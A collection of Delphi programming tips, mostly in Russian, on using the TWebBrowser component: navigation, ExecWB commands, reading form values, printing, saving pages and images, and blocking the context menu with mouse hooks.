function GetIEHandle(WebBrowser: TWebbrowser; ClassName: string): HWND;
var
  hwndChild, hwndTmp: HWND;
  oleCtrl: TOleControl;
  szClass: array [0..255] of char;
begin
  oleCtrl :=WebBrowser;
  hwndTmp := oleCtrl.Handle;
  while (true) do
  begin
    hwndChild := GetWindow(hwndTmp, GW_CHILD);
    GetClassName(hwndChild, szClass, SizeOf(szClass));
    if (string(szClass)=ClassName) then
    begin
      Result :=hwndChild;
      Exit;
    end;
    hwndTmp := hwndChild;
  end;
  Result := 0;
end;

procedure TForm1.ToolButton2Click(Sender: TObject);
begin
  //Invoke "Add To Favorite" Dialog
  SendMessage(GetIEHandle(web, 'Internet Explorer_Server'), WM_COMMAND, ID_IE_CONTEXTMENU_ADDFAV, 0);
end;

procedure TForm1.ToolButton3Click(Sender: TObject);
begin
  //Invoke "Import/Export Wizard" Dialog
  SendMessage(GetIEHandle(web, 'Shell DocObject View'), WM_COMMAND, ID_IE_FILE_IMPORTEXPORT, 0);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  web.Go('http://http://www.swissdelphicenter.ch/en');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Читать значения переменных из JavaScript?

// Just add a Webbrowser and two Buttons to the form and insert the following code

procedure TForm1.Button1Click(Sender: TObject);
begin
  webbrowser1.Navigate('http://www.dasbinich.info/myred/delphi/index.html');
end;

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
begin
  if (url = 'http://www.dasbinich.info/myred/delphi/index.html') then
    ShowMessage('Value lautet: ' + webBrowser1.OleObject.Document.Forms.item
    ('test').Elements.item('testen').Value);
  //read the Javascript value testen of the form test
end;

//this is an example how to use it when there are no names
procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowMessage('Value lautet: ' + webBrowser1.OleObject.Document.Forms.item
  (0).Elements.item(0).Value);
end;

//to read the javascript value from a site with a frame use the following
webBrowser1.OleObject.Document.Frames.item('top').Document.Forms.item
('Countdown').Elements.item('Countdown').Value;
//top is the framename in this example
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как перевести TWebBrowser в режим редактирования (дизайна)?

{
  You can use the designMode property to put the Webbrowser
  into a mode where you can edit the current document.
}

uses
  MSHTML_TLB;

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
var
  CurrentWB: IWebBrowser;
begin
  CurrentWB := pDisp as IWebBrowser;
  (CurrentWB.Document as IHTMLDocument2).DesignMode := 'On';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  WebBrowser1.Navigate('http://wp.netscape.com/assist/net_sites/example1-F.html')
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Получить или установить задний фон в TWebBrowser

//You need a TWebbrowser and 3 TButtons

// First load a page
procedure TForm1.Button1Click(Sender: TObject);
begin
  WebBrowser1.Navigate('www.SwissDelphiCenter.com');
end;

// Show the background color
// Hintergrundfarbe herausfinden
procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowMessage(WebBrowser1.OleObject.Document.bgColor);
end;

// Set the background color
procedure TForm1.Button3Click(Sender: TObject);
begin
  WebBrowser1.OleObject.Document.bgColor := '#000000';
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Скопировать, удалить, вставить в TWebBrowser

uses
 ActiveX;

// Copy the selected text to the clipboard
procedure TForm1.Button7Click(Sender: TObject);
begin
  try
    WebBrowser1.ExecWB(OLECMDID_COPY, OLECMDEXECOPT_PROMPTUSER);
  except
  end;
end;

// Cut the selected text
procedure TForm1.Button8Click(Sender: TObject);
begin
  try
    WebBrowser1.ExecWB(OLECMDID_CUT, OLECMDEXECOPT_PROMPTUSER);
  except
  end;
end;

// Delete the selected text
procedure TForm1.Button9Click(Sender: TObject);
begin
  try
    WebBrowser1.ExecWB(OLECMDID_DELETE, OLECMDEXECOPT_PROMPTUSER);
  except
  end;
end;

initialization
  OleInitialize(nil);

finalization
  OleUninitialize;
end.

// as of Internet Explorer 4

Взято с http://delphiworld.narod.ru


Как сделать WebBrowser средствами Delphi?

Автор: Лозовюк Александр
WEB-сайт: http://search3i.al.ru/

Читая и перечитывая вопросы и ответы на Круглом столе сайта Королевство Дельфи я все время натыкался на вопросы о компоненте TWebBrowser. Сначала я думал, что все просто, но когда самому понадобилось написать приложение с использованием TwebBrowser… оказалось, что не все так просто!

Эта статья не претендует на исчерпывающие руководство по написанию браузера в Delphi 5 - скорее всего она будет со временем дополняться и исправляться. Я постарался обобщить в одном работающем примере решения большинства вопросов, заданных на этом сайте (признаюсь, там были и мои). Также выражаю большую признательность Елене Филлиповой за исчерпывающие ответы на некоторые из них, и всему Королевству за столь хороший и полезный сайт.

Компонент TWebBrowser в Delphi 4 нужно было специально инсталлировать как Active X компонент. В 5-й версии нам пошли навстречу, и он сразу есть на вкладке Internet. Не буду останавливаться на особенностях интерфейса программы - он очень прост (надеюсь, не очень) и не вызовет трудностей.

Рассмотрим некоторые свойства и функции TwebBrowser.

procedure GoBack;
procedure GoForward;
procedure GoHome;
procedure GoSearch;
procedure Refresh;
procedure Stop;
procedure Quit;

Названия этих процедур говорят сами за себя, а позволяют они осуществить управление просмотром - перейти по истории просмотра вперед, назад, перейти на страницу, установленную как домашняя, открыть страницу поиска, обновить текущую страницу, остановить загрузку страницы, выйти.

Последняя команда самая интересная - в Help написано, что использовать ее не надо. Она завершает работу IE и очищает окно. Но я проверял - вроде вреда от ее использования не наблюдалось.

Далее идет целая группа процедур:

procedure Navigate(const URL: WideString); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant; var
TargetFrameName: OleVariant); overload;

procedure Navigate(const URL: WideString; var Flags: OleVariant;
var TargetFrameName: OleVariant; var PostData: OleVariant); overload;

procedure Navigate(const URL: WideString; var Flags: OleVariant;
var TargetFrameName: OleVariant; var PostData: OleVariant;
var Headers: OleVariant); overload;

Все они предназначены для указания того, какая и как страница должна отображаться в браузере. В простейшем случае можно использовать первую процедуру

procedure Navigate(const URL: WideString);

Например так:

WebBrowser1.Navigate(' http://delphi.vitpc.com/');

Или

WebBrowser1.Navigate('http://delphi.vitpc.com/',empty,empty,empty,empty)

Для значения Flag определены такие константы:

navOpenInNewWindow 1 Открывает URL в новом окне браузера

navNoHistory 2 Не заносит адрес в список History.

navNoReadFromCache 4 Не использует сохраненную в кеше страницу, а загружает с сервера.

navNoWriteToCache 8 Не записывает страницу в дисковый кеш.

navAllowAutosearch 16 Если броузер не может найти указанный домен, он передает его в поисковый механизм.

Все, это можно также вручную установить в настройках браузера.

TargetFrameName указывает имя фрейма, куда надо загрузить страницу. Если присвоить NULL страница просто загрузиться в текущее окно.

PostData - указывает на данные, которые нужно отослать, используя метод HTTP POST. Если установить в NULL, процедура Navigate будет использовать метод HTTP GET.

Следующая довольно интересная и полезная процедура

procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT); overload;

Позволяет осуществить управление браузером и вызывать различные дополнительные функции - печать, сохранение и др. Использует IoleCommandTarget интерфейс для управления браузером.

CmdID - задает команду, которую нужно выполнить. Может принимать следующие значения:

OLECMDID_OPEN,
OLECMDID_NEW,
OLECMDID_SAVE,
OLECMDID_SAVEAS,
OLECMDID_SAVECOPYAS,
OLECMDID_PRINT,
OLECMDID_PRINTPREVIEW,
OLECMDID_PAGESETUP,
OLECMDID_SPELL,
OLECMDID_PROPERTIES,
OLECMDID_CUT,
OLECMDID_COPY,
OLECMDID_PASTE,
OLECMDID_PASTESPECIAL,
OLECMDID_UNDO,
OLECMDID_REDO,
OLECMDID_SELECTALL,
OLECMDID_CLEARSELECTION,
OLECMDID_ZOOM,
OLECMDID_GETZOOMRANGE,
OLECMDID_UPDATECOMMANDS,
OLECMDID_REFRESH,
OLECMDID_STOP,
OLECMDID_HIDETOOLBARS,
OLECMDID_SETPROGRESSMAX ,
OLECMDID_SETPROGRESSPOS,
OLECMDID_SETPROGRESSTEXT,
OLECMDID_SETTITLE,
OLECMDID_SETDOWNLOADSTATE,
OLECMDID_STOPDOWNLOAD,
OLECMDID_FIND,
OLECMDID_ONTOOLBARACTIVATED,
OLECMDID_DELETE,
OLECMDID_HTTPEQUIV,
OLECMDID_ENABLE_INTERACTION,
OLECMDID_HTTPEQUIV_DONE,
OLECMDID_ONUNLOAD,
OLECMDID_PROPERTYBAG2,
OLECMDID_PREREFRESH

Если присмотреться, то можно увидеть, что некоторые из них дублируються процедурами Stop, Refresh и др. Но большенство очень даже нужные.

Cmdexecopt - указывает дополнительно, как команда должна исполняться. Может принимать значения:

OLECMDEXECOPT_DODEFAULT 0 Команда исполняеться так, как принято по умолчанию.

OLECMDEXECOPT_PROMPTUSER 1 Перед выполнением выводиться окно диалога или дополнительных настроек.

OLECMDEXECOPT_DONTPROMPTUSER 2 Не задаеться никаких вопросов.

OLECMDEXECOPT_SHOWHELP 3 Выводиться справка по запрошеному действии, но сама команда не выполняеться. Удобно для вызова из вашего приложения справки по IE.

Вызивать эту комманду желательно и даже нужно в блоке

try
WebBrowser1.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER);
except

end;

Эта команда вызивает диалоговое окно печати документа. Если же опустить try…except, то при нажатии "Отмена" в этом окне будет сгенерировано уведомление об ошибке типа:

raised exception class EOleException with message "Невозможно установить свойство coISpan. Недопустимое значения свойства. Требуется ввести значение от 1 до 1000".

Теперь поговорим о свойствах.

PopupMenu; Как оконный элемент управления, TwebBrowser поддерживает всплывающие меню. НО! Ваше меню будет появляться только пока в браузер не загружена страница. Дальше - только меню IE.

В Конференции предложили такой вариант для запрета появления стандартного меню

...
 private
  { Private declarations }
 procedure WMMouseActivate(var Msg: TMessage); message WM_MOUSEACTIVATE;
 public
  { Public declarations }
 end;
...
...
procedure TForm1.WMMouseActivate(var Msg: TMessage);
begin
  try
    inherited;
    // right mouse button
    if Msg.LParamHi = 516 then
       Msg.Result:= MA_NOACTIVATEANDEAT;
    // insert code here for show own context menu
  except
  end;
end;

property OffLine : WordBool; Позволяет загружать документы из локального кеша - если присвоить True.

property LocationURL: WideString; Позначено как "только для чтения" и содержит URL ресурса, загруженого в браузер.

Теперь события.

Среди самых важных/нужных есть:

OnDownloadBegin
OnDownloadComplete
OnBeforeNavigate2
OnNewWindow2
OnNavigateComplete2
OnDocumentComplete
OnDownloadBegin - происходит, когда вы, наберя URL, хотите перейти по нему. Тут можно задать например анимацию или ProgressBar для индикации процесса загрузки страницы ( совмесно с OnProgressChange).

OnDownloadComplete, OnDownloadComplete, OnNavigateComplete2 - происходит, когда страница закончила грузиться.

Правда, здесь есть много нюансов при загрузке страниц с графикой и фреймами - для каждого загружаемого элемента будут генерироваться новые события начала/окончания загрузки, а кроме того, если отключить загрузку рисунков/анимации/видео, так вообще некоторые из них не будут происходить! Так что пользоваться ими нужно осторожно.

OnBeforeNavigate2 - происходит когда вы переходите по щелчку на гиперссылке из основной страницы, загруженной в браузер. Сюда можно писать код, который например, анализирует - куда пользователь переходит, и соответственно, что-то делать. Или запретить открывание новых окно, или открывать свои окна (типа сделать TtabbedNotebook c IE на каждой странице)

OnNewWindow2 - происходит, когда открывается новое окно браузера.

Я, конечно, много чего упустил - например, работу с интерфейсами, доступ к тегам страницы - но надеюсь, эта статья и пример помогут вам сделать работоспособный браузер для дальнейших эксперементов. Успехов!

Взято с http://delphiworld.narod.ru


Перехватить WM_CONTEXTMENU в TWebBrowser

Перехват меню (ТОЛЬКО БЛОКИРОВКА):

var
 HookID: THandle;

function MouseProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;
var
 szClassName: array[0..255] of Char;
const
 ie_name = 'Internet Explorer_Server';
begin
 case nCode < 0 of
   True:
     Result := CallNextHookEx(HookID, nCode, wParam, lParam)
     else
       case wParam of
         WM_RBUTTONDOWN,
         WM_RBUTTONUP:
           begin
             GetClassName(PMOUSEHOOKSTRUCT(lParam)^.HWND, szClassName, SizeOf(szClassName));
             if lstrcmp(@szClassName[0], @ie_name[1]) = 0 then
               Result := HC_SKIP
             else
               Result := CallNextHookEx(HookID, nCode, wParam, lParam);
           end
           else
             Result := CallNextHookEx(HookID, nCode, wParam, lParam);
       end;
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 HookID := SetWindowsHookEx(WH_MOUSE, MouseProc, 0, GetCurrentThreadId());
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 if HookID <> 0 then
   UnHookWindowsHookEx(HookID);
end;

Здесь по замыслу автора меню подменяется своим, но у меня не сработало (почему, не  разбирался):

// Для преобразования кликов правой кнопкой в клики левой,  раскомментировать

// {$DEFINE __R_TO_L}

implementation

uses Windows,Controls,Messages,ShDocVw;

var
 HMouseHook:THandle;

function MouseProc(
   nCode: Integer;     // hook code
   WP: wParam; // message identifier
   LP: lParam  // mouse coordinates
  ):Integer;stdcall;
var MHS:TMOUSEHOOKSTRUCT;
   WC:TWinControl;
{$ifdef __R_TO_L}
   P:TPoint;
{$endif}
begin
 Result:=CallNextHookEx(HMouseHook,nCode,WP,LP);
 if nCode=HC_ACTION then
  begin
    MHS:=PMOUSEHOOKSTRUCT(LP)^;
    if ((WP=WM_RBUTTONDOWN) or (WP=WM_RBUTTONUP)) then
     begin
       WC:=FindVCLWindow(MHS.pt);
       if (WC is TWebBrowser) then
       begin
         Result:=1;
{$ifdef __R_TO_L}
         P:=WC.ScreenToClient(MHS.pt);
         if WP=WM_RBUTTONDOWN
         then PostMessage(MHS.hwnd,WM_LBUTTONDOWN,0,P.x + P.y shl 16);

         if WP=WM_RBUTTONUP
         then PostMessage(MHS.hwnd,WM_LBUTTONUP,0,P.x + P.y shl 16);
{$endif}
         if (TWebBrowser(WC).PopupMenu<>nil) and  (WP=WM_RBUTTONUP) then
          begin
           TWebBrowser(WC).PopupMenu.PopupComponent:=WC;
           TWebBrowser(WC).PopupMenu.Popup(MHS.pt.x,MHS.pt.y);
          end;
       end;
     end;
  end;
end;

initialization

HMouseHook:=SetWindowsHookEx(WH_MOUSE,@MouseProc,HInstance,GetCurrentThreadID);

finalization

 CloseHandle(HMouseHook);

end.

Предлагаю свой вариант, взято с Королевства, но немного переделано из-за глюкавости. Для использования достаточно подключить юнит в Uses и все (Исправлены глюки, которые досаждали)!

unit WbPopup;

interface

implementation

uses Windows,Controls,Messages,ShDocVw, Forms, frmMain;

var
 HMouseHook:THandle;
 Pop: Boolean;

function MouseProc(
   nCode: Integer;     // hook code
   WP: wParam; // message identifier
   LP: lParam  // mouse coordinates
  ):Integer;stdcall;
var MHS:TMOUSEHOOKSTRUCT;
   WC:TWinControl;
begin
 Result:=CallNextHookEx(HMouseHook,nCode,WP,LP);
 if nCode=HC_ACTION then
  begin
    MHS:=PMOUSEHOOKSTRUCT(LP)^;
    if ((WP=WM_RBUTTONDOWN) or (WP=WM_RBUTTONUP)) then
     begin
       WC:=FindVCLWindow(MHS.pt);
       if (WC is TWebBrowser) then
       begin
         Result:=1;
         if (TWebBrowser(WC).PopupMenu<>nil) and (WP=WM_RBUTTONUP) then
          begin
           if Pop then Exit;
           Pop := True;
           TWebBrowser(WC).PopupMenu.Popup(MHS.pt.x,MHS.pt.y);
           Pop := False;
          end;
       end;
     end;
  end;
end;

initialization

HMouseHook:=SetWindowsHookEx(WH_MOUSE,@MouseProc,HInstance,GetCurrentThreadID);

finalization
try
 UnhookWindowsHookEx(HMouseHook);
 Sleep(100);
 CloseHandle(HMouseHook);
except

end;
end.

Взято с http://delphiworld.narod.ru


Не работает кнопка <Enter> в WebBrowser

Html страницы, отображаемые в TWebBrowser часто имеют кнопки "Submit", и нажатие <Enter> не воспринимается непосредственно этой кнопкой.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw_TLB, ActiveX, StdCtrls;

type
  TForm1 = class(TForm)
    WebBrowser1: TWebBrowser;
    Button1: TButton;
    Button2: TButton;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
    FOleInPlaceActiveObject: IOleInPlaceActiveObject;
    procedure MsgHandler(var Msg: TMsg; var Handled: Boolean);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
  FOleInPlaceActiveObject := nil;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnMessage := MsgHandler;
end;

procedure TForm1.MsgHandler(var Msg: TMsg; var Handled: Boolean);
var
  iOIPAO: IOleInPlaceActiveObject;
  Dispatch: IDispatch;
begin
  if not Assigned(WebBrowser1) then
  begin
    Handled := False;
    Exit;
  end;

  Handled := (IsDialogMessage(WebBrowser1.Handle, Msg) = True);

  if (Handled) and (not WebBrowser1.Busy) then
  begin
    if FOleInPlaceActiveObject = nil then
    begin
      Dispatch := WebBrowser1.Application;
      if Dispatch <> nil then
      begin
        Dispatch.QueryInterface(IOleInPlaceActiveObject, iOIPAO);
        if iOIPAO <> nil then
          FOleInPlaceActiveObject := iOIPAO;
      end;
    end;

    if FOleInPlaceActiveObject <> nil then
      if ((Msg.message = WM_KEYDOWN) or (Msg.message = WM_KEYUP)) and
        ((Msg.wParam = VK_BACK) or (Msg.wParam = VK_LEFT) or (Msg.wParam = VK_RIGHT)) then
        //nothing - do not pass on Backspace, Left or Right arrows
      else
        FOleInPlaceActiveObject.TranslateAccelerator(Msg);
  end;
end;

Автор: Song

Взято из http://forum.sources.ru


Cut и Copy отказываются работать

Вам нужно добавить следующие строки в конец unit:

initialization
  OleInitialize(nil);
finalization
  OleUninitialize;

Автор: Song

Взято из http://forum.sources.ru


Как установить фокус на документе в TWebBrowser ?

WebBrowser1.SetFocus ставит фокус на компонент TWebBrowser, а это не всегда то, что нужно. Если нужно поставить фокус на документ в TWebBrowser'е (чтобы, например, кнопки вверх/вниз скроллировали документ, а не ставили фокус на другой компонент), то можно использовать этот код:

uses ActiveX;

with WebBrowser1 do
 if Document <> nil then
   with Application as IOleobject do
     DoVerb(OLEIVERB_UIACTIVATE, nil, WebBrowser1, 0, Handle,
       GetClientRect);

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Как получить URL?

TWebBrowser.После нажатия кнопки на web форме формируется ссылка на какуюто страницу с параметрами,а с этой страницы уже происходит перенаправление на результирующую страницу. Хотелось бы увидеть ссылку на страницу вместе с параметрами.

function GetPostParam(const PostData: OleVariant): string;
var
  V: Variant;
  P: PChar;
  lb, hb, i: Integer;
begin
V:=Variant(TVarData(PostData).VPointer^);
if VarIsArray(V) then begin
 P:=VarArrayLock(V);
  try
   lb := VarArrayLowBound(V, 1);
   hb := VarArrayHighBound(V, 1);
   SetString(Result, P, hb - lb + 1);
   for i := 1 to Length(Result) do if Result[i] = #0 then begin
   SetLength(Result, i - 1); Break; end; Exit;
  finally  VarArrayUnlock(V);   end;
 end;
Result:= '';
end;

Автор P.O.D.
Взято из http://forum.sources.ru


Как производить Печать?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Есть два способа вывода на печать. Первый пример работает в IE 4.x и выше,
в то время как второй пример расчитан на IE 3.x:

var
vaIn, vaOut: OleVariant;

... WebBrowser.ControlInterface.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER, vaIn, vaOut); либо

procedure TForm1.PrintIE;
var
CmdTarget : IOleCommandTarget;
vaIn, vaOut: OleVariant;
begin
if WebBrowser1.Document < > nil then
try
WebBrowser1.Document.QueryInterface(IOleCommandTarget, CmdTarget);
if CmdTarget < > nil then
try
  CmdTarget.Exec( PGuid(nil), OLECMDID_PRINT,
  OLECMDEXECOPT_DONTPROMPTUSER, vaIn, vaOut);
finally
  CmdTarget._Release;
end;
except
  // Ничего
end;
end;

Обратите внимание: Если версия Delphi ниже чем 3.02, то необходимо заменить PGuid(nil)
на PGuid(nil)^
. А лучше всего проапгрейдить до 3.02 (если Вы пользуетесь версиями 3.0 или 3.01).


Работа с печатью в TWebBrowser

{
  TWebBrowser can use native IE API to print and do other things.
  Implement on a Form a TWebBrowser component, and a button to print.
  The code attached to this button is as follow :
}

//--------------------------------------------

procedure TForm.OnClickPrint(Sender: TObject);
begin
  WebBrowser.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER);
end;

//--------------------------------------------

You can replace "OLECMDID_PRINT" by other possibilities :

OLECMDID_OPEN OLECMDID_NEW OLECMDID_SAVE
OLECMDID_SAVEAS OLECMDID_SAVECOPYAS OLECMDID_PRINT
OLECMDID_PRINTPREVIEW OLECMDID_PAGESETUP OLECMDID_SPELL
OLECMDID_PROPERTIES OLECMDID_CUT OLECMDID_COPY
OLECMDID_PASTE OLECMDID_PASTESPECIAL OLECMDID_UNDO
OLECMDID_REDO OLECMDID_SELECTALL OLECMDID_CLEARSELECTION
OLECMDID_ZOOM OLECMDID_GETZOOMRANGE OLECMDID_UPDATECOMMANDS

OLECMDID_REFRESH OLECMDID_STOP OLECMDID_HIDETOOLBARS
OLECMDID_SETPROGRESSMAX OLECMDID_SETPROGRESSPOS
OLECMDID_SETPROGRESSTEXT

OLECMDID_SETTITLE OLECMDID_SETDOWNLOADSTATE OLECMDID_STOPDOWNLOAD

OLECMDID_FIND OLECMDID_ONTOOLBARACTIVATED OLECMDID_DELETE

OLECMDID_HTTPEQUIV OLECMDID_ENABLE_INTERACTION OLECMDID_HTTPEQUIV_DONE

OLECMDID_ONUNLOAD OLECMDID_PROPERTYBAG2 OLECMDID_PREREFRESH
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сохранить веб страничку в bitmap?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

procedure TForm1.Button1Click(Sender: TObject);
var
  ViewObject: IViewObject;
  sourceDrawRect: TRect;
begin
if EmbeddedWB1.Document < > nil then
try
EmbeddedWB1.Document.QueryInterface(IViewObject, ViewObject);
if ViewObject < > nil then
try
  sourceDrawRect := Rect(0, 0, Image1.Width, Image1.Height);
  ViewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, Self.Handle,
  image1.Canvas.Handle, @sourceDrawRect, nil, nil, 0);
finally
  ViewObject._Release;
end;
except
end;
end;

Автор: John


Как сохранить веб страничку в jpg?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

procedure generateJPEGfromBrowser(browser: iWebBrowser2; jpegFQFilename: String;
srcHeight: Integer; srcWidth: Integer; tarHeight: Integer; tarWidth: Integer);
var
sourceDrawRect : TRect;
targetDrawRect: TRect;
sourceBitmap: TBitmap;
targetBitmap: TBitmap;
jpeg: TJPEGImage;
viewObject: IViewObject;
begin
sourceBitmap := TBitmap.Create ;
targetBitmap := TBitmap.Create ;
jpeg := TJPEGImage.Create ;
try
try
sourceDrawRect := Rect(0,0, srcWidth , srcHeight );
sourceBitmap.Width := srcWidth ;
sourceBitmap.Height := srcHeight ; viewObject := browser as IViewObject; if viewObject = nil then
Exit; OleCheck(viewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, self.Handle,
sourceBitmap.Canvas.Handle, @sourceDrawRect, nil, nil, 0)); // Изменяем размер исходного битмапа для коне?ного битмапа
targetDrawRect := Rect(0,0, tarWidth, tarHeight);
targetBitmap.Height := tarHeight;
targetBitmap.Width := tarWidth;
targetBitmap.Canvas.StretchDraw(targetDrawRect, sourceBitmap); // Созда?м JPEG из Bitmap и сохраняем его
jpeg.Assign(targetBitmap) ;
makeFileWriteable(jpegFQFilename);
jpeg.SaveToFile (jpegFQFilename);
finally
jpeg.free;
sourceBitmap.free ;
targetBitmap.free;
end;
except
// Обработка ошибок
end;
end;

Автор: Donall Burns


Как сохранить все картинки TWebbrowser?

uses
  UrlMon;

function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
  try
    Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0,
      nil) = 0;
  except
    Result := False;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  k, p: Integer;
  Source, dest, ext: string;
begin
  for k := 0 to WebBrowser1.OleObject.Document.Images.Length - 1 do
  begin
    Source := WebBrowser1.OleObject.Document.Images.Item(k).Src;
    p := LastDelimiter('.', Source);
    ext := UpperCase(Copy(Source, p + 1, Length(Source)));
    if (ext = 'GIF') or (ext = 'JPG') then
    begin
      p  := LastDelimiter('/', Source);
      dest := ExtractFilePath(ParamStr(0)) + Copy(Source, p + 1,
        Length(Source));
      DownloadFile(Source, dest);
    end;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сохранить исходник HTML из TWebBrowser.Document на диск?

TWebBrowser.Document включает в себя IPersistStreamInit который содержит метод Save(). Всё, что нам нужно знать, это как использовать данный метод с объектом, который включён в IStream. Для этого мы просто воспользуемся TStreamAdapter.

Обратите внимание, что интерфейсы IPersistStreamInit и IStream объявлены внутри ActiveX unit.

Итак, вот так это выглядит.

procedure TForm1.SaveHTMLSourceToFile(const FileName: string;
  WB: TWebBrowser);
var
  PersistStream: IPersistStreamInit;
  FileStream: TFileStream;
  Stream: IStream;
  SaveResult: HRESULT;
begin
  PersistStream := WB.Document as IPersistStreamInit;
  FileStream := TFileStream.Create(FileName, fmCreate);
  try
    Stream := TStreamAdapter.Create(FileStream, soReference) as IStream;
    SaveResult := PersistStream.Save(Stream, True);
    if FAILED(SaveResult) then
      MessageBox(Handle, 'Fail to save HTML source', 'Error', 0);
  finally
    { В ответ на уничтожение объекта TFileStream, передаём
      soReference в конструктор TStreamAdapter. }
    FileStream.Free;
  end;
end;

pocedure TForm1.Button1Click(Sender: TObject);
begin
  if SaveDialog1.Execute then
    SaveHTMLSourceToFile(SaveDialog1.FileName, WebBrowser1);
end;

А как сохранить вместе с исходником все файлы (.CSS, JPG, GIF Etc..) ?

try
  WebBrowser1.ExecWB(4, 0);
except
  on E: Exception do  msError:=true;
end;

Взято из http://forum.sources.ru


Как получить полный исходник HTML?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

В IE5, можно получить исходник используя свойство outerHTML тэгов
HTML. В IE4 или IE3, Вам понадобится записать документ в файл, а затем
загрузить файл в TMemo, TStrings, и т.д.

var
  HTMLDocument: IHTMLDocument2;
  PersistFile: IPersistFile;
begin
...
  HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
  PersistFile := HTMLDocument as IPersistFile;
  PersistFile.Save(StringToOleStr('test.htm'), True);
  while HTMLDocument.readyState < > 'complete' do
    Application.ProcessMessages;
...
end;

Автор: Ron Loewy Обратите внимание: Вам понадобится импортировать библиотеку
MSHTML и добавить MSHTML_TLB как ActiveX, в секцию Uses.


Как работать со всеми фреймами, отображёнными в данный момент в WebBrowser?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Данный пример показывает как определить в каких фреймах разрешена команда 'copy':

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
begin
for i := 0 to (WebBrowser1.OleObject.Document.frames.Length - 1) do
  if WebBrowser1.OleObject.Document.frames.item(i).document.queryCommandEnabled('Copy') then
    ShowMessage('copy command is enabled for frame no.' + IntToStr(i));
end;

Автор: Peter Friese


Как работать со всеми ячейками < TABLE> ?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Пример показывает как добавить содержимое каждой ячейки в TMemo:

procedure TForm1.Button1Click(Sender: TObject);
var
  i, j: integer;
  ovTable: OleVariant;
begin
// Я использовал первую таблицу на странице в ка?естве примера
  ovTable := WebBrowser1.OleObject.Document.all.tags('TABLE').item(0); for i := 0 to (ovTable.Rows.Length - 1) do
    begin
      for j := 0 to (ovTable.Rows.Item(i).Cells.Length - 1) do
        begin
          Memo1.Lines.Add(ovTable.Rows.Item(i).Cells.Item(j).InnerText;
        end;
    end;
end;


Как добраться до конкретного фрейма?

var

  HTML_Doc: IHTMLDocument2;
  Window: IHTMLWindow2;
  oRange1: variant;
  name_frame: OleVariant;

  HTML_Doc := WebBrowser1.Document as IHTMLDocument2;
  Window := HTML_Doc.parentWindow as IHTMLWindow2;
  name_frame := 'mainFrame';
  oRange1 := Window.frames.item(name_frame).document.body.createTextRange;

Автор ответа: Good Man
Взято с Vingrad.ru http://forum.vingrad.ru


Как нажать кнопку в TWebbrowser когда в окне есть несколько кнопок?

// If there is only one button, you can do something like:

WebBrowser1.OleObject.Document.forms.item(0).elements.item(0).click;

// This will do a click on the first element of the first <FORM>, where an
// element is either <INPUT>, <SELECT> or <TEXTAREA>.

// If there is more than one button, you can do something like:

procedure TForm1.Button1Click(Sender: TObject);
var
  ovElements: OleVariant;
  i: Integer;
begin
  ovElements := WebBrowser1.OleObject.Document.forms.item(0).elements;
  for i := 0 to (ovElements.Length - 1) do
    if (ovElements.item(i).tagName = 'INPUT') and
      (ovElements.item(i).type = 'SUBMIT') and
      (ovElements.item(i).Value = 'Recent Charges') then
      ovElements.item(i).Click;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Использоватние Drag and Drop для заполнения полей в TWebBrowser?

  This example shows how to fill out fields in your webbrowser by
  dragging the content of Label1 to a field of your webbrowser}

procedure TForm1.FormCreate(Sender: TObject);
begin
  label1.DragMode := dmAutomatic;
end;

